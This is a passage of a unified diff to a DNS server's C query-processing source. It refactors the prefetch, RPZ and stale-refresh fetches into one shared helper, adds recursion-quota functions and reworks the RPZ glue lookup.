 		ignore = true;
 		goto again;
@@ -2443,113 +2453,239 @@ fixfname(ns_client_t *client, dns_name_t **fname, isc_buffer_t **dbuf,
 	 isc_buffer_t *nbuf) {
 	if (*fname == NULL) {
 		*dbuf = ns_client_getnamebuf(client);
-		if (*dbuf == NULL) {
-			return;
-		}
 		*fname = ns_client_newname(client, *dbuf, nbuf);
 	}
 }
 
 static void
-free_devent(ns_client_t *client, isc_event_t **eventp,
-	    dns_fetchevent_t **deventp) {
-	dns_fetchevent_t *devent = *deventp;
-
-	REQUIRE((void *)(*eventp) == (void *)(*deventp));
+free_fresp(ns_client_t *client, dns_fetchresponse_t **frespp) {
+	dns_fetchresponse_t *fresp = *frespp;
 
-	CTRACE(ISC_LOG_DEBUG(3), "free_devent");
+	CTRACE(ISC_LOG_DEBUG(3), "free_fresp");
 
-	if (devent->fetch != NULL) {
-		dns_resolver_destroyfetch(&devent->fetch);
+	if (fresp->fetch != NULL) {
+		dns_resolver_destroyfetch(&fresp->fetch);
 	}
-	if (devent->node != NULL) {
-		dns_db_detachnode(devent->db, &devent->node);
+	if (fresp->node != NULL) {
+		dns_db_detachnode(fresp->db, &fresp->node);
 	}
-	if (devent->db != NULL) {
-		dns_db_detach(&devent->db);
+	if (fresp->db != NULL) {
+		dns_db_detach(&fresp->db);
 	}
-	if (devent->rdataset != NULL) {
-		ns_client_putrdataset(client, &devent->rdataset);
+	if (fresp->rdataset != NULL) {
+		ns_client_putrdataset(client, &fresp->rdataset);
 	}
-	if (devent->sigrdataset != NULL) {
-		ns_client_putrdataset(client, &devent->sigrdataset);
+	if (fresp->sigrdataset != NULL) {
+		ns_client_putrdataset(client, &fresp->sigrdataset);
 	}
 
+	*frespp = NULL;
+	isc_mem_putanddetach(&fresp->mctx, fresp, sizeof(*fresp));
+}
+
+static isc_result_t
+recursionquotatype_attach(ns_client_t *client, bool soft_limit) {
+	isc_result_t result;
+
+	result = isc_quota_acquire(&client->manager->sctx->recursionquota);
+	switch (result) {
+	case ISC_R_SUCCESS:
+		break;
+	case ISC_R_SOFTQUOTA:
+		if (soft_limit) {
+			/*
+			 * Exceeding soft quota was allowed, so continue as if
+			 * 'result' was ISC_R_SUCCESS while retaining the
+			 * original result code.
+			 */
+			break;
+		}
+
+		isc_quota_release(&client->manager->sctx->recursionquota);
+		FALLTHROUGH;
+	default:
+		return (result);
+	}
+
+	ns_stats_increment(client->manager->sctx->nsstats,
+			   ns_statscounter_recursclients);
+
+	return (result);
+}
+
+static isc_result_t
+recursionquotatype_attach_hard(ns_client_t *client) {
+	return (recursionquotatype_attach(client, false));
+}
+
+static isc_result_t
+recursionquotatype_attach_soft(ns_client_t *client) {
+	return (recursionquotatype_attach(client, true));
+}
+
+static void
+recursionquotatype_detach(ns_client_t *client) {
+	isc_quota_release(&client->manager->sctx->recursionquota);
+	ns_stats_decrement(client->manager->sctx->nsstats,
+			   ns_statscounter_recursclients);
+}
+
+static void
+stale_refresh_aftermath(ns_client_t *client, isc_result_t result) {
+	dns_db_t *db = NULL;
+	unsigned int dboptions;
+	isc_buffer_t buffer;
+	query_ctx_t qctx;
+	dns_clientinfomethods_t cm;
+	dns_clientinfo_t ci;
+	char namebuf[DNS_NAME_FORMATSIZE];
+	char typebuf[DNS_RDATATYPE_FORMATSIZE];
+
 	/*
-	 * If the two pointers are the same then leave the setting of
-	 * (*deventp) to NULL to isc_event_free.
+	 * If refreshing a stale RRset failed, we need to set the
+	 * stale-refresh-time window, so that on future requests for this
+	 * RRset the stale entry may be used immediately.
 	 */
-	if ((void *)eventp != (void *)deventp) {
-		(*deventp) = NULL;
+	switch (result) {
+	case ISC_R_SUCCESS:
+	case DNS_R_GLUE:
+	case DNS_R_ZONECUT:
+	case ISC_R_NOTFOUND:
+	case DNS_R_DELEGATION:
+	case DNS_R_EMPTYNAME:
+	case DNS_R_NXRRSET:
+	case DNS_R_EMPTYWILD:
+	case DNS_R_NXDOMAIN:
+	case DNS_R_COVERINGNSEC:
+	case DNS_R_NCACHENXDOMAIN:
+	case DNS_R_NCACHENXRRSET:
+	case DNS_R_CNAME:
+	case DNS_R_DNAME:
+		break;
+	default:
+		dns_name_format(client->query.qname, namebuf, sizeof(namebuf));
+		dns_rdatatype_format(client->query.qtype, typebuf,
+				     sizeof(typebuf));
+		ns_client_log(client, NS_LOGCATEGORY_SERVE_STALE,
+			      NS_LOGMODULE_QUERY, ISC_LOG_NOTICE,
+			      "%s/%s stale refresh failed: timed out", namebuf,
+			      typebuf);
+
+		/*
+		 * Set up a short lived query context, solely to set the
+		 * last refresh failure time on the RRset in the cache
+		 * database, starting the stale-refresh-time window for it.
+		 * This is a condensed form of query_lookup().
+		 */
+		client->now = isc_stdtime_now();
+		client->query.attributes &= ~NS_QUERYATTR_RECURSIONOK;
+		qctx_init(client, NULL, 0, &qctx);
+
+		dns_clientinfomethods_init(&cm, ns_client_sourceip);
+		dns_clientinfo_init(&ci, qctx.client, NULL);
+		if (HAVEECS(qctx.client)) {
+			dns_clientinfo_setecs(&ci, &qctx.client->ecs);
+		}
+
+		result = qctx_prepare_buffers(&qctx, &buffer);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
+		}
+
+		dboptions = qctx.client->query.dboptions;
+		dboptions |= DNS_DBFIND_STALEOK;
+		dboptions |= DNS_DBFIND_STALESTART;
+
+		dns_db_attach(qctx.client->view->cachedb, &db);
+		(void)dns_db_findext(db, qctx.client->query.qname, NULL,
+				     qctx.client->query.qtype, dboptions,
+				     qctx.client->now, &qctx.node, qctx.fname,
+				     &cm, &ci, qctx.rdataset, qctx.sigrdataset);
+		if (qctx.node != NULL) {
+			dns_db_detachnode(db, &qctx.node);
+		}
+		dns_db_detach(&db);
+
+	cleanup:
+		qctx_freedata(&qctx);
+		qctx_destroy(&qctx);
 	}
-	isc_event_free(eventp);
 }
 
 static void
-prefetch_done(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *devent = (dns_fetchevent_t *)event;
-	ns_client_t *client;
-
-	UNUSED(task);
+cleanup_after_fetch(dns_fetchresponse_t *resp, const char *ctracestr,
+		    ns_query_rectype_t recursion_type) {
+	ns_client_t *client = resp->arg;
+	isc_nmhandle_t **handlep = NULL;
+	dns_fetch_t **fetchp = NULL;
+	isc_result_t result;
 
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE);
-	client = devent->ev_arg;
+	REQUIRE(resp->type == FETCHDONE);
 	REQUIRE(NS_CLIENT_VALID(client));
-	REQUIRE(task == client->task);
 
-	CTRACE(ISC_LOG_DEBUG(3), "prefetch_done");
+	CTRACE(ISC_LOG_DEBUG(3), ctracestr);
+
+	handlep = &client->query.recursions[recursion_type].handle;
+	fetchp = &client->query.recursions[recursion_type].fetch;
+	result = resp->result;
 
 	LOCK(&client->query.fetchlock);
-	if (client->query.prefetch != NULL) {
-		INSIST(devent->fetch == client->query.prefetch);
-		client->query.prefetch = NULL;
+	if (*fetchp != NULL) {
+		INSIST(resp->fetch == *fetchp);
+		*fetchp = NULL;
 	}
 	UNLOCK(&client->query.fetchlock);
 
-	/*
-	 * We're done prefetching, detach from quota.
-	 */
-	if (client->recursionquota != NULL) {
-		isc_quota_detach(&client->recursionquota);
+	/* Some type of recursions require a bit of aftermath. */
+	if (recursion_type == RECTYPE_STALE_REFRESH) {
+		stale_refresh_aftermath(client, result);
 	}
 
-	free_devent(client, &event, &devent);
-	isc_nmhandle_detach(&client->prefetchhandle);
+	recursionquotatype_detach(client);
+	free_fresp(client, &resp);
+	isc_nmhandle_detach(handlep);
 }
 
 static void
-query_prefetch(ns_client_t *client, dns_name_t *qname,
-	       dns_rdataset_t *rdataset) {
-	isc_result_t result;
-	isc_sockaddr_t *peeraddr;
+prefetch_done(void *arg) {
+	cleanup_after_fetch(arg, "prefetch_done", RECTYPE_PREFETCH);
+}
+
+static void
+rpzfetch_done(void *arg) {
+	cleanup_after_fetch(arg, "rpzfetch_done", RECTYPE_RPZ);
+}
+
+static void
+stale_refresh_done(void *arg) {
+	cleanup_after_fetch(arg, "stale_refresh_done", RECTYPE_STALE_REFRESH);
+}
+
+/*
+ * Try initiating a fetch for the given 'qname' and 'qtype' (using the slot in
+ * the 'recursions' array indicated by 'recursion_type') that will be
+ * associated with 'client'.  If the recursive clients quota (or even soft
+ * quota) is reached or some other error occurs, just return without starting
+ * the fetch.  If a fetch is successfully created, its results will be cached
+ * upon successful completion, but no further actions will be taken afterwards.
+ */
+static void
+fetch_and_forget(ns_client_t *client, dns_name_t *qname, dns_rdatatype_t qtype,
+		 ns_query_rectype_t recursion_type) {
 	dns_rdataset_t *tmprdataset;
+	isc_sockaddr_t *peeraddr;
 	unsigned int options;
+	isc_job_cb cb;
+	isc_nmhandle_t **handlep;
+	dns_fetch_t **fetchp;
+	isc_result_t result;
 
-	CTRACE(ISC_LOG_DEBUG(3), "query_prefetch");
-
-	if (client->query.prefetch != NULL ||
-	    client->view->prefetch_trigger == 0U ||
-	    rdataset->ttl > client->view->prefetch_trigger ||
-	    (rdataset->attributes & DNS_RDATASETATTR_PREFETCH) == 0)
-	{
+	result = recursionquotatype_attach_hard(client);
+	if (result != ISC_R_SUCCESS) {
 		return;
 	}
 
-	if (client->recursionquota == NULL) {
-		result = isc_quota_attach(&client->sctx->recursionquota,
-					  &client->recursionquota);
-		if (result == ISC_R_SOFTQUOTA) {
-			isc_quota_detach(&client->recursionquota);
-		}
-		if (result != ISC_R_SUCCESS) {
-			return;
-		}
-	}
-
 	tmprdataset = ns_client_newrdataset(client);
-	if (tmprdataset == NULL) {
-		return;
-	}
 
 	if (!TCP(client)) {
 		peeraddr = &client->peeraddr;
@@ -2557,23 +2693,83 @@ query_prefetch(ns_client_t *client, dns_name_t *qname,
 		peeraddr = NULL;
 	}
 
-	isc_nmhandle_attach(client->handle, &client->prefetchhandle);
-	options = client->query.fetchoptions | DNS_FETCHOPT_PREFETCH;
+	switch (recursion_type) {
+	case RECTYPE_PREFETCH:
+		options = client->query.fetchoptions | DNS_FETCHOPT_PREFETCH;
+		cb = prefetch_done;
+		break;
+	case RECTYPE_RPZ:
+		options = client->query.fetchoptions;
+		cb = rpzfetch_done;
+		break;
+	case RECTYPE_STALE_REFRESH:
+		options = client->query.fetchoptions;
+		cb = stale_refresh_done;
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	handlep = &client->query.recursions[recursion_type].handle;
+	fetchp = &client->query.recursions[recursion_type].fetch;
+
+	isc_nmhandle_attach(client->handle, handlep);
 	result = dns_resolver_createfetch(
-		client->view->resolver, qname, rdataset->type, NULL, NULL, NULL,
-		peeraddr, client->message->id, options, 0, NULL, client->task,
-		prefetch_done, client, tmprdataset, NULL,
-		&client->query.prefetch);
+		client->view->resolver, qname, qtype, NULL, NULL, NULL,
+		peeraddr, client->message->id, options, 0, NULL,
+		client->manager->loop, cb, client, tmprdataset, NULL, fetchp);
 	if (result != ISC_R_SUCCESS) {
 		ns_client_putrdataset(client, &tmprdataset);
-		isc_nmhandle_detach(&client->prefetchhandle);
+		isc_nmhandle_detach(handlep);
+		recursionquotatype_detach(client);
 	}
+}
+
+static void
+query_prefetch(ns_client_t *client, dns_name_t *qname,
+	       dns_rdataset_t *rdataset) {
+	CTRACE(ISC_LOG_DEBUG(3), "query_prefetch");
+
+	if (FETCH_RECTYPE_PREFETCH(client) != NULL ||
+	    client->view->prefetch_trigger == 0U ||
+	    rdataset->ttl > client->view->prefetch_trigger ||
+	    (rdataset->attributes & DNS_RDATASETATTR_PREFETCH) == 0)
+	{
+		return;
+	}
+
+	fetch_and_forget(client, qname, rdataset->type, RECTYPE_PREFETCH);
 
 	dns_rdataset_clearprefetch(rdataset);
-	ns_stats_increment(client->sctx->nsstats, ns_statscounter_prefetch);
+	ns_stats_increment(client->manager->sctx->nsstats,
+			   ns_statscounter_prefetch);
 }
 
-static inline void
+static void
+query_stale_refresh(ns_client_t *client) {
+	dns_name_t *qname;
+
+	CTRACE(ISC_LOG_DEBUG(3), "query_stale_refresh");
+
+	if (FETCH_RECTYPE_STALE_REFRESH(client) != NULL) {
+		return;
+	}
+
+	client->query.dboptions &= ~(DNS_DBFIND_STALETIMEOUT |
+				     DNS_DBFIND_STALEOK |
+				     DNS_DBFIND_STALEENABLED);
+
+	if (client->query.origqname != NULL) {
+		qname = client->query.origqname;
+	} else {
+		qname = client->query.qname;
+	}
+
+	fetch_and_forget(client, qname, client->query.qtype,
+			 RECTYPE_STALE_REFRESH);
+}
+
+static void
 rpz_clean(dns_zone_t **zonep, dns_db_t **dbp, dns_dbnode_t **nodep,
 	  dns_rdataset_t **rdatasetp) {
 	if (nodep != NULL && *nodep != NULL) {
@@ -2593,13 +2789,13 @@ rpz_clean(dns_zone_t **zonep, dns_db_t **dbp, dns_dbnode_t **nodep,
 	}
 }
 
-static inline void
+static void
 rpz_match_clear(dns_rpz_st_t *st) {
 	rpz_clean(&st->m.zone, &st->m.db, &st->m.node, &st->m.rdataset);
 	st->m.version = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 rpz_ready(ns_client_t *client, dns_rdataset_t **rdatasetp) {
 	REQUIRE(rdatasetp != NULL);
 
@@ -2607,11 +2803,6 @@ rpz_ready(ns_client_t *client, dns_rdataset_t **rdatasetp) {
 
 	if (*rdatasetp == NULL) {
 		*rdatasetp = ns_client_newrdataset(client);
-		if (*rdatasetp == NULL) {
-			CTRACE(ISC_LOG_ERROR, "rpz_ready: "
-					      "ns_client_newrdataset failed");
-			return (DNS_R_SERVFAIL);
-		}
 	} else if (dns_rdataset_isassociated(*rdatasetp)) {
 		dns_rdataset_disassociate(*rdatasetp);
 	}
@@ -2668,7 +2859,7 @@ rpz_get_zbits(ns_client_t *client, dns_rdatatype_t ip_type,
 		if (st->rpsdb == NULL ||
 		    librpz->have_trig(dns_dnsrps_type2trig(rpz_type),
 				      ip_type == dns_rdatatype_aaaa,
-				      ((rpsdb_t *)st->rpsdb)->rsp))
+				      ((dns_rpsdb_t *)st->rpsdb)->rsp))
 		{
 			return (DNS_RPZ_ALL_ZBITS);
 		}
@@ -2705,8 +2896,7 @@ rpz_get_zbits(ns_client_t *client, dns_rdatatype_t ip_type,
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/*
@@ -2737,50 +2927,13 @@ rpz_get_zbits(ns_client_t *client, dns_rdatatype_t ip_type,
 
 static void
 query_rpzfetch(ns_client_t *client, dns_name_t *qname, dns_rdatatype_t type) {
-	isc_result_t result;
-	isc_sockaddr_t *peeraddr;
-	dns_rdataset_t *tmprdataset;
-	unsigned int options;
-
 	CTRACE(ISC_LOG_DEBUG(3), "query_rpzfetch");
 
-	if (client->query.prefetch != NULL) {
+	if (FETCH_RECTYPE_RPZ(client) != NULL) {
 		return;
 	}
 
-	if (client->recursionquota == NULL) {
-		result = isc_quota_attach(&client->sctx->recursionquota,
-					  &client->recursionquota);
-		if (result == ISC_R_SOFTQUOTA) {
-			isc_quota_detach(&client->recursionquota);
-		}
-		if (result != ISC_R_SUCCESS) {
-			return;
-		}
-	}
-
-	tmprdataset = ns_client_newrdataset(client);
-	if (tmprdataset == NULL) {
-		return;
-	}
-
-	if (!TCP(client)) {
-		peeraddr = &client->peeraddr;
-	} else {
-		peeraddr = NULL;
-	}
-
-	options = client->query.fetchoptions;
-	isc_nmhandle_attach(client->handle, &client->prefetchhandle);
-	result = dns_resolver_createfetch(
-		client->view->resolver, qname, type, NULL, NULL, NULL, peeraddr,
-		client->message->id, options, 0, NULL, client->task,
-		prefetch_done, client, tmprdataset, NULL,
-		&client->query.prefetch);
-	if (result != ISC_R_SUCCESS) {
-		ns_client_putrdataset(client, &tmprdataset);
-		isc_nmhandle_detach(&client->prefetchhandle);
-	}
+	fetch_and_forget(client, qname, type, RECTYPE_RPZ);
 }
 
 /*
@@ -2789,7 +2942,7 @@ query_rpzfetch(ns_client_t *client, dns_name_t *qname, dns_rdatatype_t type) {
  */
 static isc_result_t
 rpz_rrset_find(ns_client_t *client, dns_name_t *name, dns_rdatatype_t type,
-	       dns_rpz_type_t rpz_type, dns_db_t **dbp,
+	       unsigned int options, dns_rpz_type_t rpz_type, dns_db_t **dbp,
 	       dns_dbversion_t *version, dns_rdataset_t **rdatasetp,
 	       bool resuming) {
 	dns_rpz_st_t *st;
@@ -2858,9 +3011,8 @@ rpz_rrset_find(ns_client_t *client, dns_name_t *name, dns_rdatatype_t type,
 	found = dns_fixedname_initname(&fixed);
 	dns_clientinfomethods_init(&cm, ns_client_sourceip);
 	dns_clientinfo_init(&ci, client, NULL);
-	result = dns_db_findext(*dbp, name, version, type, DNS_DBFIND_GLUEOK,
-				client->now, &node, found, &cm, &ci, *rdatasetp,
-				NULL);
+	result = dns_db_findext(*dbp, name, version, type, options, client->now,
+				&node, found, &cm, &ci, *rdatasetp, NULL);
 	if (result == DNS_R_DELEGATION && is_zone && USECACHE(client)) {
 		/*
 		 * Try the cache if we're authoritative for an
@@ -2938,8 +3090,7 @@ rpz_get_p_name(ns_client_t *client, dns_name_t *p_name, dns_rpz_zone_t *rpz,
 		suffix = &rpz->nsip;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/*
@@ -3035,7 +3186,7 @@ rpz_find_p(ns_client_t *client, dns_name_t *self_name, dns_rdatatype_t qtype,
 		dns_rdatasetiter_t *rdsiter;
 
 		rdsiter = NULL;
-		result = dns_db_allrdatasets(*dbp, *nodep, *versionp, 0,
+		result = dns_db_allrdatasets(*dbp, *nodep, *versionp, 0, 0,
 					     &rdsiter);
 		if (result != ISC_R_SUCCESS) {
 			rpz_log_fail(client, DNS_RPZ_ERROR_LEVEL, p_name,
@@ -3045,7 +3196,8 @@ rpz_find_p(ns_client_t *client, dns_name_t *self_name, dns_rdatatype_t qtype,
 			return (DNS_R_SERVFAIL);
 		}
 		if (qtype == dns_rdatatype_aaaa &&
-		    !ISC_LIST_EMPTY(client->view->dns64)) {
+		    !ISC_LIST_EMPTY(client->view->dns64))
+		{
 			for (result = dns_rdatasetiter_first(rdsiter);
 			     result == ISC_R_SUCCESS;
 			     result = dns_rdatasetiter_next(rdsiter))
@@ -3063,7 +3215,8 @@ rpz_find_p(ns_client_t *client, dns_name_t *self_name, dns_rdatatype_t qtype,
 		{
 			dns_rdatasetiter_current(rdsiter, *rdatasetp);
 			if ((*rdatasetp)->type == dns_rdatatype_cname ||
-			    (*rdatasetp)->type == qtype) {
+			    (*rdatasetp)->type == qtype)
+			{
 				break;
 			}
 			dns_rdataset_disassociate(*rdatasetp);
@@ -3088,7 +3241,8 @@ rpz_find_p(ns_client_t *client, dns_name_t *self_name, dns_rdatatype_t qtype,
 			dns_db_detachnode(*dbp, nodep);
 
 			if (qtype == dns_rdatatype_rrsig ||
-			    qtype == dns_rdatatype_sig) {
+			    qtype == dns_rdatatype_sig)
+			{
 				result = DNS_R_NXRRSET;
 			} else {
 				result = dns_db_findext(*dbp, p_name, *versionp,
@@ -3183,11 +3337,13 @@ rpz_save_p(dns_rpz_st_t *st, dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
  * Continue after a hit on a disabled zone (>0).
  */
 static int
-dnsrps_ck(librpz_emsg_t *emsg, ns_client_t *client, rpsdb_t *rpsdb,
+dnsrps_ck(librpz_emsg_t *emsg, ns_client_t *client, dns_rpsdb_t *rpsdb,
 	  bool recursed) {
 	isc_region_t region;
 	librpz_domain_buf_t pname_buf;
 
+	CTRACE(ISC_LOG_DEBUG(3), "dnsrps_ck");
+
 	if (!librpz->rsp_result(emsg, &rpsdb->result, recursed, rpsdb->rsp)) {
 		return (-1);
 	}
@@ -3236,19 +3392,19 @@ static bool
 dnsrps_set_p(librpz_emsg_t *emsg, ns_client_t *client, dns_rpz_st_t *st,
 	     dns_rdatatype_t qtype, dns_rdataset_t **p_rdatasetp,
 	     bool recursed) {
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb = NULL;
 	librpz_domain_buf_t pname_buf;
 	isc_region_t region;
-	dns_zone_t *p_zone;
-	dns_db_t *p_db;
-	dns_dbnode_t *p_node;
+	dns_zone_t *p_zone = NULL;
+	dns_db_t *p_db = NULL;
+	dns_dbnode_t *p_node = NULL;
 	dns_rpz_policy_t policy;
-	dns_fixedname_t foundf;
-	dns_name_t *found;
 	dns_rdatatype_t foundtype, searchtype;
 	isc_result_t result;
 
-	rpsdb = (rpsdb_t *)st->rpsdb;
+	CTRACE(ISC_LOG_DEBUG(3), "dnsrps_set_p");
+
+	rpsdb = (dns_rpsdb_t *)st->rpsdb;
 
 	if (!librpz->rsp_result(emsg, &rpsdb->result, recursed, rpsdb->rsp)) {
 		return (false);
@@ -3277,10 +3433,10 @@ dnsrps_set_p(librpz_emsg_t *emsg, ns_client_t *client, dns_rpz_st_t *st,
 	region.length = pname_buf.size;
 	dns_name_fromregion(st->p_name, &region);
 
-	p_zone = NULL;
-	p_db = NULL;
-	p_node = NULL;
-	rpz_ready(client, p_rdatasetp);
+	result = rpz_ready(client, p_rdatasetp);
+	if (result != ISC_R_SUCCESS) {
+		return (false);
+	}
 	dns_db_attach(st->rpsdb, &p_db);
 	policy = dns_dnsrps_2policy(rpsdb->result.policy);
 	if (policy != DNS_RPZ_POLICY_RECORD) {
@@ -3293,6 +3449,9 @@ dnsrps_set_p(librpz_emsg_t *emsg, ns_client_t *client, dns_rpz_st_t *st,
 		result = DNS_R_NXRRSET;
 		policy = DNS_RPZ_POLICY_NODATA;
 	} else {
+		dns_fixedname_t foundf;
+		dns_name_t *found = NULL;
+
 		/*
 		 * Get the next (and so first) RR from the policy node.
 		 * If it is a CNAME, then look for it regardless of the
@@ -3304,6 +3463,7 @@ dnsrps_set_p(librpz_emsg_t *emsg, ns_client_t *client, dns_rpz_st_t *st,
 		{
 			return (false);
 		}
+
 		if (foundtype == dns_rdatatype_cname) {
 			searchtype = dns_rdatatype_cname;
 		} else {
@@ -3318,7 +3478,8 @@ dnsrps_set_p(librpz_emsg_t *emsg, ns_client_t *client, dns_rpz_st_t *st,
 
 		if (result == ISC_R_SUCCESS) {
 			if (searchtype == dns_rdatatype_cname &&
-			    qtype != dns_rdatatype_cname) {
+			    qtype != dns_rdatatype_cname)
+			{
 				result = DNS_R_CNAME;
 			}
 		} else if (result == DNS_R_NXRRSET) {
@@ -3343,15 +3504,17 @@ static isc_result_t
 dnsrps_rewrite_ip(ns_client_t *client, const isc_netaddr_t *netaddr,
 		  dns_rpz_type_t rpz_type, dns_rdataset_t **p_rdatasetp) {
 	dns_rpz_st_t *st;
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb;
 	librpz_trig_t trig = LIBRPZ_TRIG_CLIENT_IP;
 	bool recursed = false;
 	int res;
 	librpz_emsg_t emsg;
 	isc_result_t result;
 
+	CTRACE(ISC_LOG_DEBUG(3), "dnsrps_rewrite_ip");
+
 	st = client->query.rpz_st;
-	rpsdb = (rpsdb_t *)st->rpsdb;
+	rpsdb = (dns_rpsdb_t *)st->rpsdb;
 
 	result = rpz_ready(client, p_rdatasetp);
 	if (result != ISC_R_SUCCESS) {
@@ -3373,8 +3536,7 @@ dnsrps_rewrite_ip(ns_client_t *client, const isc_netaddr_t *netaddr,
 		recursed = true;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	do {
@@ -3400,15 +3562,17 @@ static isc_result_t
 dnsrps_rewrite_name(ns_client_t *client, dns_name_t *trig_name, bool recursed,
 		    dns_rpz_type_t rpz_type, dns_rdataset_t **p_rdatasetp) {
 	dns_rpz_st_t *st;
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb;
 	librpz_trig_t trig = LIBRPZ_TRIG_CLIENT_IP;
 	isc_region_t r;
 	int res;
 	librpz_emsg_t emsg;
 	isc_result_t result;
 
+	CTRACE(ISC_LOG_DEBUG(3), "dnsrps_rewrite_name");
+
 	st = client->query.rpz_st;
-	rpsdb = (rpsdb_t *)st->rpsdb;
+	rpsdb = (dns_rpsdb_t *)st->rpsdb;
 
 	result = rpz_ready(client, p_rdatasetp);
 	if (result != ISC_R_SUCCESS) {
@@ -3424,8 +3588,7 @@ dnsrps_rewrite_name(ns_client_t *client, dns_name_t *trig_name, bool recursed,
 		trig = LIBRPZ_TRIG_NSDNAME;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	dns_name_toregion(trig_name, &r);
@@ -3606,82 +3769,106 @@ rpz_rewrite_ip_rrset(ns_client_t *client, dns_name_t *name,
 	struct in_addr ina;
 	struct in6_addr in6a;
 	isc_result_t result;
+	unsigned int options = client->query.dboptions | DNS_DBFIND_GLUEOK;
+	bool done = false;
 
 	CTRACE(ISC_LOG_DEBUG(3), "rpz_rewrite_ip_rrset");
 
-	zbits = rpz_get_zbits(client, ip_type, rpz_type);
-	if (zbits == 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/*
-	 * Get the A or AAAA rdataset.
-	 */
-	result = rpz_rrset_find(client, name, ip_type, rpz_type, ip_dbp,
-				ip_version, ip_rdatasetp, resuming);
-	switch (result) {
-	case ISC_R_SUCCESS:
-	case DNS_R_GLUE:
-	case DNS_R_ZONECUT:
-		break;
-	case DNS_R_EMPTYNAME:
-	case DNS_R_EMPTYWILD:
-	case DNS_R_NXDOMAIN:
-	case DNS_R_NCACHENXDOMAIN:
-	case DNS_R_NXRRSET:
-	case DNS_R_NCACHENXRRSET:
-	case ISC_R_NOTFOUND:
-		return (ISC_R_SUCCESS);
-	case DNS_R_DELEGATION:
-	case DNS_R_DUPLICATE:
-	case DNS_R_DROP:
-		return (result);
-	case DNS_R_CNAME:
-	case DNS_R_DNAME:
-		rpz_log_fail(client, DNS_RPZ_DEBUG_LEVEL1, name, rpz_type,
-			     "NS address rewrite rrset", result);
-		return (ISC_R_SUCCESS);
-	default:
-		if (client->query.rpz_st->m.policy != DNS_RPZ_POLICY_ERROR) {
-			client->query.rpz_st->m.policy = DNS_RPZ_POLICY_ERROR;
-			rpz_log_fail(client, DNS_RPZ_ERROR_LEVEL, name,
-				     rpz_type, "NS address rewrite rrset",
-				     result);
+	do {
+		zbits = rpz_get_zbits(client, ip_type, rpz_type);
+		if (zbits == 0) {
+			return (ISC_R_SUCCESS);
 		}
-		CTRACE(ISC_LOG_ERROR, "rpz_rewrite_ip_rrset: unexpected "
-				      "result");
-		return (DNS_R_SERVFAIL);
-	}
 
-	/*
-	 * Check all of the IP addresses in the rdataset.
-	 */
-	for (result = dns_rdataset_first(*ip_rdatasetp);
-	     result == ISC_R_SUCCESS; result = dns_rdataset_next(*ip_rdatasetp))
-	{
-		dns_rdata_t rdata = DNS_RDATA_INIT;
-		dns_rdataset_current(*ip_rdatasetp, &rdata);
-		switch (rdata.type) {
-		case dns_rdatatype_a:
-			INSIST(rdata.length == 4);
-			memmove(&ina.s_addr, rdata.data, 4);
-			isc_netaddr_fromin(&netaddr, &ina);
-			break;
-		case dns_rdatatype_aaaa:
-			INSIST(rdata.length == 16);
-			memmove(in6a.s6_addr, rdata.data, 16);
-			isc_netaddr_fromin6(&netaddr, &in6a);
+		/*
+		 * Get the A or AAAA rdataset.
+		 */
+		result = rpz_rrset_find(client, name, ip_type, options,
+					rpz_type, ip_dbp, ip_version,
+					ip_rdatasetp, resuming);
+		switch (result) {
+		case ISC_R_SUCCESS:
+		case DNS_R_GLUE:
+		case DNS_R_ZONECUT:
 			break;
+		case DNS_R_EMPTYNAME:
+		case DNS_R_EMPTYWILD:
+		case DNS_R_NXDOMAIN:
+		case DNS_R_NCACHENXDOMAIN:
+		case DNS_R_NXRRSET:
+		case DNS_R_NCACHENXRRSET:
+		case ISC_R_NOTFOUND:
+			return (ISC_R_SUCCESS);
+		case DNS_R_DELEGATION:
+		case DNS_R_DUPLICATE:
+		case DNS_R_DROP:
+			return (result);
+		case DNS_R_CNAME:
+		case DNS_R_DNAME:
+			rpz_log_fail(client, DNS_RPZ_DEBUG_LEVEL1, name,
+				     rpz_type, "NS address rewrite rrset",
+				     result);
+			return (ISC_R_SUCCESS);
 		default:
-			continue;
+			if (client->query.rpz_st->m.policy !=
+			    DNS_RPZ_POLICY_ERROR)
+			{
+				client->query.rpz_st->m.policy =
+					DNS_RPZ_POLICY_ERROR;
+				rpz_log_fail(client, DNS_RPZ_ERROR_LEVEL, name,
+					     rpz_type,
+					     "NS address rewrite rrset",
+					     result);
+			}
+			CTRACE(ISC_LOG_ERROR,
+			       "rpz_rewrite_ip_rrset: unexpected "
+			       "result");
+			return (DNS_R_SERVFAIL);
 		}
 
-		result = rpz_rewrite_ip(client, &netaddr, qtype, rpz_type,
-					zbits, p_rdatasetp);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
+		/*
+		 * If we are processing glue setup for the next loop
+		 * otherwise we are done.
+		 */
+		if (result == DNS_R_GLUE) {
+			options = client->query.dboptions;
+		} else {
+			options = client->query.dboptions | DNS_DBFIND_GLUEOK;
+			done = true;
 		}
-	}
+
+		/*
+		 * Check all of the IP addresses in the rdataset.
+		 */
+		for (result = dns_rdataset_first(*ip_rdatasetp);
+		     result == ISC_R_SUCCESS;
+		     result = dns_rdataset_next(*ip_rdatasetp))
+		{
+			dns_rdata_t rdata = DNS_RDATA_INIT;
+			dns_rdataset_current(*ip_rdatasetp, &rdata);
+			switch (rdata.type) {
+			case dns_rdatatype_a:
+				INSIST(rdata.length == 4);
+				memmove(&ina.s_addr, rdata.data, 4);
+				isc_netaddr_fromin(&netaddr, &ina);
+				break;
+			case dns_rdatatype_aaaa:
+				INSIST(rdata.length == 16);
+				memmove(in6a.s6_addr, rdata.data, 16);
